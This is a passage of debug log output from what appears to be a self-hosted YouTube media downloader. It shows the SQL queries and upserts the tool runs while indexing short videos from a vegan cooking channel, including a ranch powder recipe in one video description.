20:25:43.894 [debug] Current batch of media processed. Will check again in 1000ms 20:25:44.895 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Looking for a new vegan and gluten free salad dressing to try out? This ranch powder is a MUST TRY vegan recipe and will save you money versus buying store bought...plus you'll actually know all the ingredients that go into it.\n\nRanch Powder\n3 tbsp nutritional yeast\n1 tsp dried chives\n2½ tbsp dried parsley\n1⅓ tbsp dried dill\n1½ tbsp onion powder\n1½ tbsp garlic powder\n¾ tsp black pepper\n1½ tsp sea salt\n\nSubscribe and make sure to check out all 9 of the homemade salad dressings I made on the channel. We even did a Barbie inspired salad dressing for you. Thanks for watching!", "duration" => 49, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-08-26 Ranch powder?! 🤯 Never buy ranch dressing again!/Ranch powder?! 🤯 Never buy ranch dressing again! [TkUceMFK--0].NA", "id" => "TkUceMFK--0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/TkUceMFK--0", "playlist_index" => 138, "timestamp" => 1693060140, "title" => "Ranch powder?! 🤯 Never buy ranch dressing again!", "upload_date" => "20230826"} 20:25:44.896 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:25:44.897 [debug] QUERY OK source="sources" db=0.5ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:44.900 [debug] QUERY OK source="media_items" db=2.1ms idle=1004.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-26 14:29:00Z], 1] 20:25:44.901 [debug] QUERY OK source="media_items" db=1.1ms idle=1006.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Looking for a new vegan and gluten free salad dressing to try out? This ranch powder is a MUST TRY vegan recipe and will save you money versus buying store bought...plus you'll actually know all the ingredients that go into it.\n\nRanch Powder\n3 tbsp nutritional yeast\n1 tsp dried chives\n2½ tbsp dried parsley\n1⅓ tbsp dried dill\n1½ tbsp onion powder\n1½ tbsp garlic powder\n¾ tsp black pepper\n1½ tsp sea salt\n\nSubscribe and make sure to check out all 9 of the homemade salad dressings I made on the channel. We even did a Barbie inspired salad dressing for you. Thanks for watching!", "Ranch powder?! 🤯 Never buy ranch dressing again!", "ce3fdea4-5582-404d-a602-3608ecb8a671", 1, [], 49, false, "TkUceMFK--0", "https://www.youtube.com/shorts/TkUceMFK--0", 138, "/downloads/downloads/alec/Steamy Vegan/2023-08-26 Ranch powder?! 🤯 Never buy ranch dressing again!/Ranch powder?! 🤯 Never buy ranch dressing again! [TkUceMFK--0].NA", false, false, true, 0, ~U[2023-08-26 14:29:00Z], ~U[2026-03-22 03:25:44Z], ~U[2026-03-22 03:25:44Z], "Looking for a new vegan and gluten free salad dressing to try out? This ranch powder is a MUST TRY vegan recipe and will save you money versus buying store bought...plus you'll actually know all the ingredients that go into it.\n\nRanch Powder\n3 tbsp nutritional yeast\n1 tsp dried chives\n2½ tbsp dried parsley\n1⅓ tbsp dried dill\n1½ tbsp onion powder\n1½ tbsp garlic powder\n¾ tsp black pepper\n1½ tsp sea salt\n\nSubscribe and make sure to check out all 9 of the homemade salad dressings I made on the channel. We even did a Barbie inspired salad dressing for you. Thanks for watching!", "Ranch powder?! 🤯 Never buy ranch dressing again!", 1, 49, false, "TkUceMFK--0", "https://www.youtube.com/shorts/TkUceMFK--0", "/downloads/downloads/alec/Steamy Vegan/2023-08-26 Ranch powder?! 🤯 Never buy ranch dressing again!/Ranch powder?! 🤯 Never buy ranch dressing again! [TkUceMFK--0].NA", true, ~U[2023-08-26 14:29:00Z]] 20:25:44.902 [debug] QUERY OK source="sources" db=0.3ms idle=943.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:44.902 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:25:44.903 [debug] QUERY OK source="media_items" db=0.5ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [527] 20:25:44.904 [debug] Current batch of media processed. Will check again in 1000ms 20:25:45.535 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:45.905 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-08-23 It’s always steamy in my vegan kitchen! 🥵🤤 What a vegan couple eats/It’s always steamy in my vegan kitchen! 🥵🤤 What a vegan couple eats [gaHc-XkQ5Gc].NA", "id" => "gaHc-XkQ5Gc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/gaHc-XkQ5Gc", "playlist_index" => 139, "timestamp" => 1692800103, "title" => "It’s always steamy in my vegan kitchen! 🥵🤤 What a vegan couple eats", "upload_date" => "20230823"} 20:25:45.906 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:25:45.907 [debug] QUERY OK source="sources" db=0.7ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:45.910 [debug] QUERY OK source="media_items" db=2.0ms idle=1004.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-23 14:15:03Z], 1] 20:25:45.911 [debug] QUERY OK source="media_items" db=0.8ms idle=949.2ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It’s always steamy in my vegan kitchen! 🥵🤤 What a vegan couple eats", "fda259cd-ef2f-49b3-a2a9-1f2ea91b817d", 1, [], 14, false, "gaHc-XkQ5Gc", "https://www.youtube.com/shorts/gaHc-XkQ5Gc", 139, "/downloads/downloads/alec/Steamy Vegan/2023-08-23 It’s always steamy in my vegan kitchen! 🥵🤤 What a vegan couple eats/It’s always steamy in my vegan kitchen! 🥵🤤 What a vegan couple eats [gaHc-XkQ5Gc].NA", false, false, true, 0, ~U[2023-08-23 14:15:03Z], ~U[2026-03-22 03:25:45Z], ~U[2026-03-22 03:25:45Z], "", "It’s always steamy in my vegan kitchen! 🥵🤤 What a vegan couple eats", 1, 14, false, "gaHc-XkQ5Gc", "https://www.youtube.com/shorts/gaHc-XkQ5Gc", "/downloads/downloads/alec/Steamy Vegan/2023-08-23 It’s always steamy in my vegan kitchen! 🥵🤤 What a vegan couple eats/It’s always steamy in my vegan kitchen! 🥵🤤 What a vegan couple eats [gaHc-XkQ5Gc].NA", true, ~U[2023-08-23 14:15:03Z]] 20:25:45.912 [debug] QUERY OK source="sources" db=0.5ms idle=376.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:45.912 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:25:45.913 [debug] QUERY OK source="media_items" db=0.4ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [528] 20:25:45.913 [debug] Current batch of media processed. Will check again in 1000ms 20:25:46.914 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 29, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-08-22 What I eat on a hot day 🥵 🌞 vegan and gf recipes/What I eat on a hot day 🥵 🌞 vegan and gf recipes [epuX-NNUsSY].NA", "id" => "epuX-NNUsSY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/epuX-NNUsSY", "playlist_index" => 140, "timestamp" => 1692730980, "title" => "What I eat on a hot day 🥵 🌞 vegan and gf recipes", "upload_date" => "20230822"} 20:25:46.915 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:25:46.916 [debug] QUERY OK source="sources" db=0.5ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:46.918 [debug] QUERY OK source="media_items" db=1.9ms idle=1004.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-22 19:03:00Z], 1] 20:25:46.920 [debug] QUERY OK source="media_items" db=0.7ms idle=1006.0ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat on a hot day 🥵 🌞 vegan and gf recipes", "cfdef09e-04dc-4c25-80eb-6f108b75f725", 1, [], 29, false, "epuX-NNUsSY", "https://www.youtube.com/shorts/epuX-NNUsSY", 140, "/downloads/downloads/alec/Steamy Vegan/2023-08-22 What I eat on a hot day 🥵 🌞 vegan and gf recipes/What I eat on a hot day 🥵 🌞 vegan and gf recipes [epuX-NNUsSY].NA", false, false, true, 0, ~U[2023-08-22 19:03:00Z], ~U[2026-03-22 03:25:46Z], ~U[2026-03-22 03:25:46Z], "", "What I eat on a hot day 🥵 🌞 vegan and gf recipes", 1, 29, false, "epuX-NNUsSY", "https://www.youtube.com/shorts/epuX-NNUsSY", "/downloads/downloads/alec/Steamy Vegan/2023-08-22 What I eat on a hot day 🥵 🌞 vegan and gf recipes/What I eat on a hot day 🥵 🌞 vegan and gf recipes [epuX-NNUsSY].NA", true, ~U[2023-08-22 19:03:00Z]] 20:25:46.921 [debug] QUERY OK source="sources" db=0.7ms idle=956.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:46.921 [debug] QUERY OK source="media_profiles" db=0.6ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:25:46.922 [debug] QUERY OK source="media_items" db=0.6ms idle=5.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [529] 20:25:46.923 [debug] Current batch of media processed. Will check again in 1000ms 20:25:47.924 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 18, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-08-21 What I eat in a day 🤤 vegan + gluten free recipes ❤️/What I eat in a day 🤤 vegan + gluten free recipes ❤️ [yL-2_baT2Ic].NA", "id" => "yL-2_baT2Ic", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/yL-2_baT2Ic", "playlist_index" => 141, "timestamp" => 1692576180, "title" => "What I eat in a day 🤤 vegan + gluten free recipes ❤️", "upload_date" => "20230821"} 20:25:47.925 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1004.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:25:47.926 [debug] QUERY OK source="sources" db=0.7ms idle=1004.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:47.928 [debug] QUERY OK source="media_items" db=1.8ms idle=1004.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-21 00:03:00Z], 1] 20:25:47.930 [debug] QUERY OK source="media_items" db=1.5ms idle=1005.9ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a day 🤤 vegan + gluten free recipes ❤️", "811a3362-0f1c-4175-9c98-09983b4be252", 1, [], 18, false, "yL-2_baT2Ic", "https://www.youtube.com/shorts/yL-2_baT2Ic", 141, "/downloads/downloads/alec/Steamy Vegan/2023-08-21 What I eat in a day 🤤 vegan + gluten free recipes ❤️/What I eat in a day 🤤 vegan + gluten free recipes ❤️ [yL-2_baT2Ic].NA", false, false, true, 0, ~U[2023-08-21 00:03:00Z], ~U[2026-03-22 03:25:47Z], ~U[2026-03-22 03:25:47Z], "", "What I eat in a day 🤤 vegan + gluten free recipes ❤️", 1, 18, false, "yL-2_baT2Ic", "https://www.youtube.com/shorts/yL-2_baT2Ic", "/downloads/downloads/alec/Steamy Vegan/2023-08-21 What I eat in a day 🤤 vegan + gluten free recipes ❤️/What I eat in a day 🤤 vegan + gluten free recipes ❤️ [yL-2_baT2Ic].NA", true, ~U[2023-08-21 00:03:00Z]] 20:25:47.930 [debug] QUERY OK source="sources" db=0.3ms idle=964.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:47.931 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:25:47.931 [debug] QUERY OK source="media_items" db=0.1ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [530] 20:25:47.932 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I use this vegan and gluten free dijon vinaigrette on everything from salads to sandwiches and I even dip my fries in it. This salad dressing is ideal for mediterranean style salads but is quite versatile for any of the salads you can dream up.\n\nCheck out the full recipe vid or subscribe to watch it later: https://youtu.be/6nekZpwY4GQ", "duration" => 39, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-08-14 I put this s**t on everything! 🥗/I put this s**t on everything! 🥗 [q2qDIAYkh4M].NA", "id" => "q2qDIAYkh4M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/q2qDIAYkh4M", "playlist_index" => 142, "timestamp" => 1692022801, "title" => "I put this s**t on everything! 🥗", "upload_date" => "20230814"} 20:25:47.932 [debug] QUERY OK source="sources" db=0.7ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:25:47.933 [debug] QUERY OK source="sources" db=0.3ms queue=0.2ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:47.935 [debug] QUERY OK 